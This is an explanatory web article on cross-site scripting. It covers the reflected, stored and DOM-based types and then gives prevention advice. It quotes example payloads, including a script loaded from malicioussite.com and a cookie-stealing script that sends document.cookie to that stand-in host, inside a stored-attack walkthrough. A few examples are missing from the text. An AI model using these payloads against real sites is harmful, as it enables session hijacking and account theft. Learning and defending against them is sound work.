Cross-site scripting (XSS) is a type of online attack that targets web applications and websites. The attack manipulates a web application or website into delivering malicious client-side scripts to a user’s unsuspecting browser, which executes the script. After that, the script can exfiltrate personal and financial information from the victim, install malware, or redirect the victim’s browser to other malicious web pages, among other things.
Cross-site scripting attacks have been around for over 15 years and they aren’t showing any signs of slowing down. XSS is one of the most successful online attacks, pretty much topping the lists of disclosed vulnerabilities year on year.
Types of XSS attacks
There are three subtypes of XSS attacks:
- Reflected XSS
- Stored XSS
- DOM-based XSS
They all follow the same playbook explained above: manipulating a web application or website to deliver a malicious client-side script to a user’s unsuspecting browser. The main differences are in how the attacker manipulates the web application or website.
What is a reflected cross-site scripting attack?
A website that accepts user input and reflects the results back to the user (such as a search field) without validating the input is vulnerable to a reflected XSS attack. It is vulnerable because it simply reflects whatever was input by the user. For example, if I type “shoes” in a website’s search field, it will “reflect” back to me the results for “shoes”.
If the website’s input fields do not perform any kind of validation or sanitization—removing unwanted input before it’s processed—an attacker could craft a URL that links to a malicious script by submitting a query in a vulnerable search field, which would be reflected by the website like this:
The attacker would then use social engineering techniques (sending them an email with a plausible reason to click the link, for example) to manipulate targets into clicking the URL from their web browsers, which would, in turn, execute the malicious script.
What is a stored XSS attack?
In a stored XSS attack, the evil script is stored on the server itself. Victims are attacked through their usual interaction with the web application or website. No need to trick the users by sending them phishing emails.
Here is a classic example of how this could work:
An attacker manipulates a vulnerable website’s commenting system to input commands that execute a script when a web browser renders the page.
Say the following represents how a web page displays user comments:
print “<html>” print “<h1>Latest Comments</h1>” print database.latestcomments print “</html>”
It simply takes the most recent comment from its database and displays it without performing sufficient validation on the input (i.e. making sure it contains no code) and is hence vulnerable to XSS attacks. Just like in our reflected XSS attack example.
Because of this, an attacker could submit a comment that contains a malicious script, such as:
<html> <h1>Latest Comments</h1> <script>EvilScript();</script> <html>
When a victim loads this webpage, their browser will execute the script because it comes from what the browser considers a trusted source.
What is a DOM-based XSS attack?
The Document Object Model (DOM) is a convention used to represent and manipulate objects in HTML documents. All HTML documents have an associated DOM that consists of objects, which translate to document properties to web browsers that render the page. When a client-side script is executed, it uses the DOM of the HTML page to access the different properties of the HTML page and modify their values to render the page properly.
DOM-based XSS attacks work in the same way as reflected XSS attacks in that the user themselves trigger the malicious script by clicking a link they presumably received from the attacker. The attacker exploits DOM vulnerabilities to craft a URL that serves a malicious script that the browser will execute when accessing DOM properties.
The biggest difference between a DOM-based XSS attack and a reflected XSS attack is that DOM-based attacks take place entirely on the client-side. The attacker does not send any malicious scripts to the server. This is a common attack to steal login cookies and hijack accounts.
Common XSS attack vectors
Here is a list of common XSS attack vectors. All of the examples are taken from OWASP’s XSS Filter Evasion Cheat Sheet, which has a more complete list. These are the HTML tags most often exploited in XSS attacks.
Common attributes are:
<!-- onload attribute in the <body> tag --> <body onload=alert(“XSS")>
The <script> tag is the most common XSS payload. A script tag can either reference external code or can have the code embedded within the script tag itself.
<!-- External script --> <script src=http://malicioussite.com/xss.js></script> <!-- Embedded script --> <script> alert("XSS"); </script>
The <link> tag, often used to link to external style sheets, can contain a malicious script
Let’s put this all together and look at what an XSS attack might look like from A to Z, using a real-world example.
Signing-in to a website creates a session cookie. The purpose if session cookies is to authenticate you as you move about the site. They can store login credentials, credit card information, address information (online shopping), etc. Without session cookies, you’d have to log in to your banking site every time you access a different page.
Session cookies contain a host of sensitive data points and that’s what makes them attractive to cybercriminals. In fact, one of the most common XSS attacks is one that attempts to steal your session cookies in order to later impersonate you – typically for financial gain – by using the information gleaned from your cookies. It works something like this:
Common XXS attack
<script>window.location=“http://malicioussite.com/?cookie=" + document.cookie</script>
2. The script, when executed, will grab the cookie from the vulnerable site and send it to the malicious site. Because the vulnerable site does not sanitize user input, the attacker can store the script on the server as a comment. And the comment now executes the script on every web browser that views the page (assuming the browser allows scripts). The poisoned comment appears in source code like so:
<html> <h1>Latest Comments</h1> <script> window.location=“http://malicioussite.com/?cookie=" + document.cookie </script> <html>
3. The attacker can either wait for random unsuspecting users of the site to access the poisoned page, or they can target a victim by tricking them into clicking a link that takes them to the poisoned page (social engineering).
4. The web server serves the page with the attacker’s payload to the victim’s browser, which executes the script.
5. The scripts sends the victim’s session cookies to the attacker.
6. Once the HTTP request arrives at the attacker’s server, the attacker can place the cookie in their own browser to bypass the site’s login mechanism and impersonate the victim.
Real-world XSS attack examples
- In 2019, the popular online video game Fortnite suffered a data breach that allowed attackers access to the accounts of up to 200 million users. This was a cross-site scripting attack that exploited an XSS vulnerability in just one unsecured webpage on Fortnite’s servers. That was enough to open the gates to the kingdom.
How to prevent XSS attacks
The way to prevent cross-site scripting attacks depends on the type of XSS vulnerability, the user input context, and the programming framework. However, there are still some general common-sense guidelines that you should follow to keep your web application safe.
1. Use a web vulnerability scanner and perform regular scans
Much like how a personal computer needs a virus scanner (antivirus), your web application or website needs a web vulnerability scanner. There are many different ones available from different vendors. A web vulnerability scanner will perform regular scans of your web application/website and alert you of any issues it finds.
2. Be aware as you build
Everyone involved in building the web application/site needs to be aware of the consequences of XSS vulnerabilities and keep them in mind as they code. Make sure every relevant group in your organization, from the devs to QA, have received adequate training on these issues.
3. Don’t trust user input
That’s right. Don’t trust any user input, ever. Any HTML output that contains user input, introduces the risk of an XSS attack. And the more of it there is, the bigger the risk becomes. Treat input from authenticated users, internal users, and public users the same way: don’t trust it.
4. Set the HttpOnly flag
5. Use escaping/encoding
6. Sanitize your HTML
You won’t be able to escape/encode user input that contains HTML without breaking valid tags. As a workaround, use a trusted and verified library to parse and clean the HTML. Be sure to choose the appropriate library for your development language.
7. Enable Content Security Policy
To further mitigate the consequences of XSS vulnerabilities, enable Content Security Policy (CSP). CSP is an HTTP response header that allows you to determine which dynamic resources can load, based on the source of the request.
Of course, the above doesn’t constitute a guarantee against XSS attacks but following that advice will help. Setting up your defense before the attack occurs will always be a better strategy than mounting a defense after the attack. Also, just keeping XSS vulnerabilities in mind and setting up common sense countermeasures will make XSS vulnerabilities and potential attacks easier to deal with and manage.